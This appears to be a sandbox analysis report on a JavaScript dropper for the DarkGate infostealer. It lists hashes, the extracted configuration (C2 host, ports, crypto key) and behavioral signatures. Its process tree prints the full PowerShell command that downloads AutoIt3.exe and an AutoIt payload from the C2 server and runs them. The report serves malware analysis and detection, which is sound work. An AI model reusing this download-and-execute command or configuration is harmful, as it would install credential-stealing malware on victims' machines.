Analysis

  • max time kernel
    138s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-11-2023 17:07

General

  • Target

    TQFWEDZVXCG21sad.js

  • Size

    253KB

  • MD5

    cb92b8b30ac17b4fcef7da73ec9cf1c8

  • SHA1

    0974484ff5636d2a5f1157143dabe847f0e149f7

  • SHA256

    97f40a1f53f41c5c119d2a95f45a7a02a7decbe19c540884f12aca4f485e0882

  • SHA512

    6904965167da98fb9cfa3df434a2ec17e93130508700bcf516bb892740de573d11770b629b5a5adc3c5d83b67831f31194603614c324b8e7a8d4e0f90f2413f3

  • SSDEEP

    6144:6e7hgXeerjqlI2Iro+2Re7hgXeerjqlI2Iro+8:6IhgSlI23rRIhgSlI23V

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

C2

http://showmoreresultonliner.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    2351

  • check_disk

    true

  • check_ram

    true

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    mhbwgOFHfMQsfd

  • internal_mutex

    txtMut

  • minimum_disk

    50

  • minimum_ram

    6000

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    user_871236672

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\TQFWEDZVXCG21sad.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351/msiwqueycvl' -OutFile 'wqueycvl.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'wqueycvl.au3'"; Stop-Process -Name "WScript"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3748
      • C:\tepp\AutoIt3.exe
        "C:\tepp\AutoIt3.exe" wqueycvl.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:3808

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fpqwfi4v.wky.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\tepp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\tepp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\tepp\wqueycvl.au3

    Filesize

    492KB

    MD5

    759e7da9ea01d9a53167ee073eaf62c0

    SHA1

    e9d1ce21c55373f14fe887694fde9cb2af8fd8d2

    SHA256

    b7282bcc2ea0274972d21e06713a50f1dc27cd1882eb98edf1e6a9e3868c97e6

    SHA512

    376b48daa402d92f21698b0a506f339efc5c0594ed736948fc78f34be6f19acb6ad4f5a0c7eeb1d0f22f9b1dea95e968d1b1feb8d2305bc145b5d0a1013b5144

  • memory/3748-12-0x0000025F14DF0000-0x0000025F14E00000-memory.dmp

    Filesize

    64KB

  • memory/3748-13-0x0000025F14DF0000-0x0000025F14E00000-memory.dmp

    Filesize

    64KB

  • memory/3748-11-0x0000025F14DF0000-0x0000025F14E00000-memory.dmp

    Filesize

    64KB

  • memory/3748-10-0x00007FFB65E30000-0x00007FFB668F1000-memory.dmp

    Filesize

    10.8MB

  • memory/3748-27-0x00007FFB65E30000-0x00007FFB668F1000-memory.dmp

    Filesize

    10.8MB

  • memory/3748-0-0x0000025F2DA30000-0x0000025F2DA52000-memory.dmp

    Filesize

    136KB

  • memory/3808-30-0x00000000017D0000-0x0000000001BD0000-memory.dmp

    Filesize

    4.0MB

  • memory/3808-31-0x00000000049E0000-0x0000000004D0A000-memory.dmp

    Filesize

    3.2MB

  • memory/3808-32-0x00000000049E0000-0x0000000004D0A000-memory.dmp

    Filesize

    3.2MB